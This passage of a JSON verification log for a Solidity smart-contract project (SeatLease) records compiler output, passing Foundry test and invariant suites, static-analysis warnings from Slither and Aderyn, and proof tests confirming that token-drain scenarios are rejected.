atLease.signatures.t.sol\":574,\"test/SeatLease.stateful.t.sol\":764,\"test/seatlease-revision.gas-snapshot\":70,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"26487812fc0afbf07e7b73b9e1f78e12452c9cb1dafacc5877e3cc3f9e61bb23","verifiedTreeHash":"e390a9baa83646d88bc0882e9e6611306f111731","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":3810,"exitCode":0,"name":"build","output":"Compiling 66 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.67s\nCompiler run successful!\n","passed":true},{"durationMs":842,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 681.76µs (512.75µs CPU time)\n\nRan 33 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 76760, ~: 76744)\nLogs:\n  Bound result 2337904187285831272795913761501736045623870831633\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13218, ~: 13215)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 40462, ~: 40443)\nLogs:\n  Bound result 32749962038869085626987439513021991105\n\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 117433)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 210419)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 269320)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 190603)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 61489)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 61469)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56014)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 173860)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 295896)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 70356)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 142695)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 59459)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61224)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 131023)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 425575)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 20342)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 47537)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11217)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 82037)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 92231)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 32913)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 53264)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 56165)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 146190)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 61140)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 31345)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 111411)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 108163)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 372327)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 32137)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 28.67ms (82.28ms CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 3932675)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 3504564)\n[PASS] test_deploy_withMocks() (gas: 4822402)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 30.22ms (2.08ms CPU time)\n\nRan 56 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 576859, ~: 578093)\nLogs:\n  Bound result 253924636274356210309\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 480240, ~: 480240)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 423925, ~: 423925)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 210351, ~: 241915)\nLogs:\n  Bound result 313\n\n[PASS] test_constructor_recordsParameters() (gas: 56806)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 1486443)\n[PASS] test_cut_returnsBondToOperator() (gas: 590397)\n[PASS] test_cut_revertsForNonOwner() (gas: 479923)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39846)\n[PASS] test_cut_revertsWhenVacant() (gas: 333652)\n[PASS] test_deposit_acceptsMaxListing() (gas: 367968)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 352822)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 808461)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 817864)\n[PASS] test_deposit_revertsOnBadBps() (gas: 126061)\n[PASS] test_deposit_revertsOnLongListing() (gas: 127674)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 334232)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50416)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 806580)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 231941)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 785306)\n[PASS] test_onERC721Received_rejectsDirectCall() (gas: 14026)\n[PASS] test_onERC721Received_rejectsDirectTransferOfSeatNft() (gas: 88219)\n[PASS] test_onERC721Received_rejectsOtherCollections() (gas: 145028)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1303941)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1303018)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1317091)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 400152)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 561079)\n[PASS] test_quit_revertsForNonOperator() (gas: 512600)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 364343)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41749)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39654)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 725215)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 676698)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 330639)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 362082)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36775)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 478853)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 406479)\n[PASS] test_take_isReentrancyGuarded() (gas: 1164569)\n[PASS] test_take_open_anyoneMayTake() (gas: 475199)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1203134)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 518003)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 346776)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 388789)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 385694)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 448554)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39768)\n[PASS] test_take_revertsWhenOccupied() (gas: 531112)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 588914)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 425687)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 333650)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 490059)\nSuite result: ok. 56 passed; 0 failed; 0 skipped; finished in 30.22ms (114.02ms CPU time)\n\nRan 47 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 770004, ~: 770264)\nLogs:\n  Bound result 100000000000000000000\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 591610, ~: 592865)\nLogs:\n  Bound result 2793\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 722889, ~: 724057)\nLogs:\n  Bound result 162\n  Bound result 3823322102256595505908\n\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 581695)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 472125)\n[PASS] test_claim_booksTokenIncrease() (gas: 749221)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 418719)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 586682)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 1074263)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 574022)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 612385)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 338400)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 1764616)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 1585106)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 771184)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 351837)\n[PASS] test_claim_revertsForNonOwner() (gas: 483867)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1287063)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 957107)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 364908)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 389664)\n[PASS] test_credit_erc20BooksToSeat() (gas: 504223)\n[PASS] test_credit_ethBooksToSeat() (gas: 410786)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1140302)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 814592)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 474527)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 340674)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 343016)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 335818)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 821826)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 345188)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_sweep_allToOperatorAt0() (gas: 780154)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 766499)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 662569)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 765399)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 829467)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 759143)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 843094)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39890)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 335356)\n[PASS] test_sweep_revertsWhenOperatorRejectsEth() (gas: 834832)\n[PASS] test_sweep_revertsWhenOwnerRejectsEth() (gas: 556698)\n[PASS] test_sweep_roundsDustToOperator() (gas: 704205)\n[PASS] test_sweep_unsweptBalanceGoesToOwnerAfterCut() (gas: 813135)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 33.97ms (100.91ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 264   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 259   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 269   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 266   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 246   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 266   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 225   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 253   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 2\n  Bound result 654689999158853567728\n  Bound result 175\n  Bound result 0\n  Bound result 1766\n  Bound result 4594637\n  Bound result 159\n  Bound result 522479060181275946878\n  Bound result 8740\n  Bound result 99\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 741.96ms (738.27ms CPU time)\n\nRan 6 test suites in 743.93ms (865.72ms CPU time): 145 tests passed, 0 failed, 0 skipped (145 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":148,\"REVIEW.md\":72,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatLease.sol\":683,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.invariants.t.sol\":238,\"test/SeatLease.lifecycle.t.sol\":633,\"test/SeatLease.rewards.t.sol\":662,\"test/SeatLease.signatures.t.sol\":433,\"test/utils/Actors.sol\":246,\"test/utils/Base.sol\":191},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3123,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/SeatLease.sol:365: SeatLease.credit(uint256,address,uint256) (src/SeatLease.sol#365-382) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:393: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#393-426):\n[medium/medium] uninitialized-local at src/SeatLease.sol:470: SeatLease.isValidSignature(bytes32,bytes).operatorSignature (src/SeatLease.sol#470) is a local variable never initialized\n[medium/medium] uninitialized-local at src/SeatLease.sol:469: SeatLease.isValidSignature(bytes32,bytes).auth (src/SeatLease.sol#469) is a local variable never initialized\n[medium/medium] unused-return at src/SeatLease.sol:468: SeatLease.isValidSignature(bytes32,bytes) (src/SeatLease.sol#468-485) ignores return value by (recovered,err,None) = ECDSA.tryRecover(hash,operatorSignature) (src/SeatLease.sol#482)\n[low/medium] calls-loop at src/SeatLease.sol:640: SeatLease._balanceOf(address) (src/SeatLease.sol#640-642) has external calls inside a loop: IERC20(token).balanceOf(address(this)) (src/SeatLease.sol#641)\n[low/medium] reentrancy-benign at src/SeatLease.sol:238: Reentrancy in SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#238-261):\n[low/medium] reentrancy-benign at src/SeatLease.sol:661: Reentrancy in SeatLease._payBond(address,uint256) (src/SeatLease.sol#661-672):\n[low/medium] reentrancy-benign at src/SeatLease.sol:393: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#393-426):\n[low/medium] reentrancy-events at src/mocks/MockDistributor.sol:32: Reentrancy in MockDistributor.claim() (src/mocks/MockDistributor.sol#32-43):\n[low/medium] timestamp at src/SeatLease.sol:320: SeatLease.cutByOracle(uint256,SeatLease.OracleAttestation,bytes) (src/SeatLease.sol#320-347) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:468: SeatLease.isValidSignature(bytes32,bytes) (src/SeatLease.sol#468-485) uses timestamp for comparisons","passed":true},{"durationMs":667,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/mocks/MockDistributor.sol:32: ETH transferred without address checks\n[high] reentrancy-state-change at src/SeatLease.sol:250: Reentrancy: State change after external call (5 places)\n[low] costly-loop at src/SeatLease.sol:417: Costly operations inside loop\n[low] large-numeric-literal at src/SeatLease.sol:81: Large Numeric Literal\n[low] literal-instead-of-constant at src/SeatLease.sol:335: Literal Instead of Constant (3 places)\n[low] push-zero-opcode at src/LaunchToken.sol:2: PUSH0 Opcode (5 places)\n[low] require-revert-in-loop at src/SeatLease.sol:405: Loop Contains `require`/`revert` (2 places)\n[low] state-change-without-event at src/mocks/MockDistributor.sol:26: State Change Without Event\n[low] state-variable-could-be-immutable at src/SeatLease.sol:111: State Variable Could Be Immutable (2 places)\n[low] unchecked-return at src/SeatLease.sol:397: Unchecked Return\n[low] uninitialized-local-variable at src/SeatLease.sol:646: Uninitialized Local Variable\n[low] unsafe-erc20-operation at src/SeatLease.sol:663: Unsafe ERC20 Operation\n[low] unsafe-oz-erc721-mint at src/mocks/MockSeatNFT.sol:11: Unsafe `ERC721::_mint()`\n[low] unspecific-solidity-pragma at src/LaunchToken.sol:2: Unspecific Solidity Pragma (5 places)","passed":true},{"durationMs":2043,"exitCode":0,"name":"proof 6488b67c8395","output":"Compiling 59 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.46s\nCompiler run successful!\n\nRan 2 tests for test/imd-proof-f3f163bc/Proof_6488b67c8395.t.sol:ClaimDuplicateTokensProof\n[PASS] test_duplicateTokenEntriesBookOnlyWhatArrived() (gas: 199904)\n[PASS] test_duplicateTokenEntriesCannotDrainAnotherSeat() (gas: 353128)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.50ms (716.16µs CPU time)\n\nRan 1 test suite in 3.11ms (1.50ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true},{"durationMs":1603,"exitCode":0,"name":"proof e2a5a011e63c","output":"2026-09-28T23:50:45.609259Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-Zu6VLW/repo/test/imd-proof-f3f163bc/Proof_6488b67c8395.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.03s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-7952df9a/Proof_e2a5a011e63c.t.sol:ClaimApprovalProof\n[PASS] test_claimCannotLeaveAnAllowanceThatDrainsLaterCredits() (gas: 318999)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 975.63µs (146.59µs CPU time)\n\nRan 1 test suite in 2.48ms (975.63µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"2a0a53d98ef135bba27d1b9422a5e6012fbf5a8fd7f507d27cbcd1a8bbdd34f3","verifiedTreeHash":"85c686bf24361ea8fc194b0d1c9629a8050cf4f3","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":9895,"exitCode":0,"name":"build","output":"Compiling 67 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.65s\nCompiler run successful!\n","passed":true},{"durationMs":2591,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.04ms (722.99µs CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80105, ~: 80077)\nLogs:\n  Bound result 1000000000000000000000\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13345, ~: 13341)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50354, ~: 50323)\nLogs:\n  Bound result 1\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 176716)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123202)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 226832)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 629736)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 325117)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 426056)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 207003)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62095)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64823)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 462524)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 175796)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 341623)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73645)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 154238)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60135)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61864)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 136984)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 467995)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27941)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83729)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1091414)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 103345)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901322)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109370)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54360)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75611)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70442)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164488)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75987)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41291)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61183)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 132036)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 141400)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 995275)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 42016)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 81.86ms (160.44ms CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1413522, ~: 1415235)\nLogs:\n  Bound result 7610071932131321812991\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1231741, ~: 1236698)\nLogs:\n  Bound result 4950\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1363361, ~: 1368996)\nLogs:\n  Bound result 4039\n  Bound result 26179\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1255409)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1242237)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1096036)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2194569)\n[PASS] test_claim_booksTokenIncrease() (gas: 1433242)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014696)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1247373)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2319269)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1185273)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261703)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907125)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973729)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1319801)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1609424)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844653)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2230448)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351324)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920503)\n[PASS] test_claim_revertsForNonOwner() (gas: 1062913)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852393)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513459)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43861)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915717)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955524)\n[PASS] test_credit_erc20BooksToSeat() (gas: 1097914)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004477)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1734125)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389242)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040921)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907083)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909425)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902312)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388306)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911597)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1051520)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1865901)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1691262)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1202531)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342416)\n[PASS] test_skim_reverts() (gas: 1516687)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1769141)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233402)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1422405)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1409049)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296562)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2292859)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1419168)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1526670)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1455237)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1470334)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1324679)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1620547)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1277496)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1543225)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2368598)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 40000)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904246)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1349158)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 